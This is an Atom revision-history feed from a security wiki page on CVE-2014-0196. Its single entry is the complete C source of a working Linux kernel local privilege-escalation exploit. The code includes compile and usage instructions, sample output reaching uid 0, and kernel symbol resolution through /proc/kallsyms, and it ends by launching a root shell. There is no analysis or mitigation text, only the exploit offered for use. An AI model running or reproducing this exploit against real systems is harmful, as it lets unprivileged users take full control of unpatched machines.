<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-0196_Linux_kernel_through_3.14.3_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2014-0196 Linux kernel through 3.14.3 特權提升漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-0196_Linux_kernel_through_3.14.3_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-0196_Linux_kernel_through_3.14.3_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T09:06:14Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2014-0196_Linux_kernel_through_3.14.3_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=1064&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; /*  * CVE-2014-0196: Linux kernel &lt;= v3.15-rc4: raw mode PTY local echo race  * condition  *  * Slightly-less-than-POC privilege escalation exploit  * For kernel...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-0196_Linux_kernel_through_3.14.3_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=1064&amp;oldid=prev"/>
		<updated>2021-04-07T02:56:42Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; /*  * CVE-2014-0196: Linux kernel &amp;lt;= v3.15-rc4: raw mode PTY local echo race  * condition  *  * Slightly-less-than-POC privilege escalation exploit  * For kernel...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
 * CVE-2014-0196: Linux kernel &amp;lt;= v3.15-rc4: raw mode PTY local echo race&lt;br /&gt;
 * condition&lt;br /&gt;
 *&lt;br /&gt;
 * Slightly-less-than-POC privilege escalation exploit&lt;br /&gt;
 * For kernels &amp;gt;= v3.14-rc1&lt;br /&gt;
 *&lt;br /&gt;
 * Matthew Daley &amp;lt;mattd@bugfuzz.com&amp;gt;&lt;br /&gt;
 *&lt;br /&gt;
 * Usage: &lt;br /&gt;
 *   $ gcc cve-2014-0196-md.c -lutil -lpthread&lt;br /&gt;
 *   $ ./a.out&lt;br /&gt;
 *   [+] Resolving symbols&lt;br /&gt;
 *   [+] Resolved commit_creds: 0xffffffff81056694&lt;br /&gt;
 *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7&lt;br /&gt;
 *   [+] Doing once-off allocations&lt;br /&gt;
 *   [+] Attempting to overflow into a tty_struct...............&lt;br /&gt;
 *   [+] Got it :)&lt;br /&gt;
 *   # id&lt;br /&gt;
 *   uid=0(root) gid=0(root) groups=0(root)&lt;br /&gt;
 *&lt;br /&gt;
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4&lt;br /&gt;
 * chance that the overflow will go off the end of a slab. This does not&lt;br /&gt;
 * necessarily lead to an immediate kernel crash, but you should be prepared&lt;br /&gt;
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be&lt;br /&gt;
 * avoidable by reading /proc/slabinfo on systems where it is still available&lt;br /&gt;
 * to unprivileged users.&lt;br /&gt;
 *&lt;br /&gt;
 * Caveat: The vulnerability should be exploitable all the way from&lt;br /&gt;
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in&lt;br /&gt;
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 (&amp;quot;tty: Halve flip buffer&lt;br /&gt;
 * GFP_ATOMIC memory consumption&amp;quot;) that make exploitation simpler, which this&lt;br /&gt;
 * exploit relies on.&lt;br /&gt;
 *&lt;br /&gt;
 * Thanks to Jon Oberheide for his help on exploitation technique.&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;pthread.h&amp;gt;&lt;br /&gt;
#include &amp;lt;pty.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;termios.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define TTY_MAGIC 0x5401&lt;br /&gt;
&lt;br /&gt;
#define ONEOFF_ALLOCS 200&lt;br /&gt;
#define RUN_ALLOCS    30&lt;br /&gt;
&lt;br /&gt;
struct device;&lt;br /&gt;
struct tty_driver;&lt;br /&gt;
struct tty_operations;&lt;br /&gt;
&lt;br /&gt;
typedef struct {&lt;br /&gt;
	int counter;&lt;br /&gt;
} atomic_t;&lt;br /&gt;
&lt;br /&gt;
struct kref {&lt;br /&gt;
	atomic_t refcount;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
struct tty_struct_header {&lt;br /&gt;
	int	magic;&lt;br /&gt;
	struct kref kref;&lt;br /&gt;
	struct device *dev;&lt;br /&gt;
	struct tty_driver *driver;&lt;br /&gt;
	const struct tty_operations *ops;&lt;br /&gt;
} overwrite;&lt;br /&gt;
&lt;br /&gt;
typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);&lt;br /&gt;
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);&lt;br /&gt;
&lt;br /&gt;
int master_fd, slave_fd;&lt;br /&gt;
char buf[1024] = {0};&lt;br /&gt;
commit_creds_fn commit_creds;&lt;br /&gt;
prepare_kernel_cred_fn prepare_kernel_cred;&lt;br /&gt;
&lt;br /&gt;
int payload(void) {&lt;br /&gt;
	commit_creds(prepare_kernel_cred(0));&lt;br /&gt;
&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
unsigned long get_symbol(char *target_name) {&lt;br /&gt;
	FILE *f;&lt;br /&gt;
	unsigned long addr;&lt;br /&gt;
	char dummy;&lt;br /&gt;
	char name[256];&lt;br /&gt;
	int ret = 0;&lt;br /&gt;
&lt;br /&gt;
	f = fopen(&amp;quot;/proc/kallsyms&amp;quot;, &amp;quot;r&amp;quot;);&lt;br /&gt;
	if (f == NULL)&lt;br /&gt;
		return 0;&lt;br /&gt;
&lt;br /&gt;
	while (ret != EOF) {&lt;br /&gt;
		ret = fscanf(f, &amp;quot;%p %c %s\n&amp;quot;, (void **)&amp;amp;addr, &amp;amp;dummy, name);&lt;br /&gt;
		if (ret == 0) {&lt;br /&gt;
			fscanf(f, &amp;quot;%s\n&amp;quot;, name);&lt;br /&gt;
			continue;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (!strcmp(name, target_name)) {&lt;br /&gt;
			printf(&amp;quot;[+] Resolved %s: %p\n&amp;quot;, target_name, (void *)addr);&lt;br /&gt;
&lt;br /&gt;
			fclose(f);&lt;br /&gt;
			return addr;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;[-] Couldn't resolve \&amp;quot;%s\&amp;quot;\n&amp;quot;, name);&lt;br /&gt;
&lt;br /&gt;
	fclose(f);&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void *overwrite_thread_fn(void *p) {&lt;br /&gt;
	write(slave_fd, buf, 511);&lt;br /&gt;
&lt;br /&gt;
	write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));&lt;br /&gt;
	write(slave_fd, &amp;amp;overwrite, sizeof(overwrite));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
	char scratch[1024] = {0};&lt;br /&gt;
	void *tty_operations[64];&lt;br /&gt;
	int i, temp_fd_1, temp_fd_2;&lt;br /&gt;
&lt;br /&gt;
	for (i = 0; i &amp;lt; 64; ++i)&lt;br /&gt;
		tty_operations[i] = payload;&lt;br /&gt;
&lt;br /&gt;
	overwrite.magic                 = TTY_MAGIC;&lt;br /&gt;
	overwrite.kref.refcount.counter = 0x1337;&lt;br /&gt;
	overwrite.dev                   = (struct device *)scratch;&lt;br /&gt;
	overwrite.driver                = (struct tty_driver *)scratch;&lt;br /&gt;
	overwrite.ops                   = (struct tty_operations *)tty_operations;&lt;br /&gt;
&lt;br /&gt;
	puts(&amp;quot;[+] Resolving symbols&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	commit_creds = (commit_creds_fn)get_symbol(&amp;quot;commit_creds&amp;quot;);&lt;br /&gt;
	prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol(&amp;quot;prepare_kernel_cred&amp;quot;);&lt;br /&gt;
	if (!commit_creds || !prepare_kernel_cred)&lt;br /&gt;
		return 1;&lt;br /&gt;
&lt;br /&gt;
	puts(&amp;quot;[+] Doing once-off allocations&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	for (i = 0; i &amp;lt; ONEOFF_ALLOCS; ++i)&lt;br /&gt;
		if (openpty(&amp;amp;temp_fd_1, &amp;amp;temp_fd_2, NULL, NULL, NULL) == -1) {&lt;br /&gt;
			puts(&amp;quot;[-] pty creation failed&amp;quot;);&lt;br /&gt;
			return 1;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;[+] Attempting to overflow into a tty_struct...&amp;quot;);&lt;br /&gt;
	fflush(stdout);&lt;br /&gt;
&lt;br /&gt;
	for (i = 0; ; ++i) {&lt;br /&gt;
		struct termios t;&lt;br /&gt;
		int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;&lt;br /&gt;
		pthread_t overwrite_thread;&lt;br /&gt;
&lt;br /&gt;
		if (!(i &amp;amp; 0xfff)) {&lt;br /&gt;
			putchar('.');&lt;br /&gt;
			fflush(stdout);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (openpty(&amp;amp;master_fd, &amp;amp;slave_fd, NULL, NULL, NULL) == -1) {&lt;br /&gt;
			puts(&amp;quot;\n[-] pty creation failed&amp;quot;);&lt;br /&gt;
			return 1;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		for (j = 0; j &amp;lt; RUN_ALLOCS; ++j)&lt;br /&gt;
			if (openpty(&amp;amp;fds[j], &amp;amp;fds2[j], NULL, NULL, NULL) == -1) {&lt;br /&gt;
				puts(&amp;quot;\n[-] pty creation failed&amp;quot;);&lt;br /&gt;
				return 1;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
		close(fds[RUN_ALLOCS / 2]);&lt;br /&gt;
		close(fds2[RUN_ALLOCS / 2]);&lt;br /&gt;
&lt;br /&gt;
		write(slave_fd, buf, 1);&lt;br /&gt;
&lt;br /&gt;
		tcgetattr(master_fd, &amp;amp;t);&lt;br /&gt;
		t.c_oflag &amp;amp;= ~OPOST;&lt;br /&gt;
		t.c_lflag |= ECHO;&lt;br /&gt;
		tcsetattr(master_fd, TCSANOW, &amp;amp;t);&lt;br /&gt;
&lt;br /&gt;
		if (pthread_create(&amp;amp;overwrite_thread, NULL, overwrite_thread_fn, NULL)) {&lt;br /&gt;
			puts(&amp;quot;\n[-] Overwrite thread creation failed&amp;quot;);&lt;br /&gt;
			return 1;&lt;br /&gt;
		}&lt;br /&gt;
		write(master_fd, &amp;quot;A&amp;quot;, 1);&lt;br /&gt;
		pthread_join(overwrite_thread, NULL);&lt;br /&gt;
&lt;br /&gt;
		for (j = 0; j &amp;lt; RUN_ALLOCS; ++j) {&lt;br /&gt;
			if (j == RUN_ALLOCS / 2)&lt;br /&gt;
				continue;&lt;br /&gt;
&lt;br /&gt;
			ioctl(fds[j], 0xdeadbeef);&lt;br /&gt;
			ioctl(fds2[j], 0xdeadbeef);&lt;br /&gt;
&lt;br /&gt;
			close(fds[j]);&lt;br /&gt;
			close(fds2[j]);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		ioctl(master_fd, 0xdeadbeef);&lt;br /&gt;
		ioctl(slave_fd, 0xdeadbeef);&lt;br /&gt;
&lt;br /&gt;
		close(master_fd);&lt;br /&gt;
		close(slave_fd);&lt;br /&gt;
&lt;br /&gt;
		if (!setresuid(0, 0, 0)) {&lt;br /&gt;
			setresgid(0, 0, 0);&lt;br /&gt;
&lt;br /&gt;
			puts(&amp;quot;\n[+] Got it :)&amp;quot;);&lt;br /&gt;
			execl(&amp;quot;/bin/bash&amp;quot;, &amp;quot;/bin/bash&amp;quot;, NULL);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>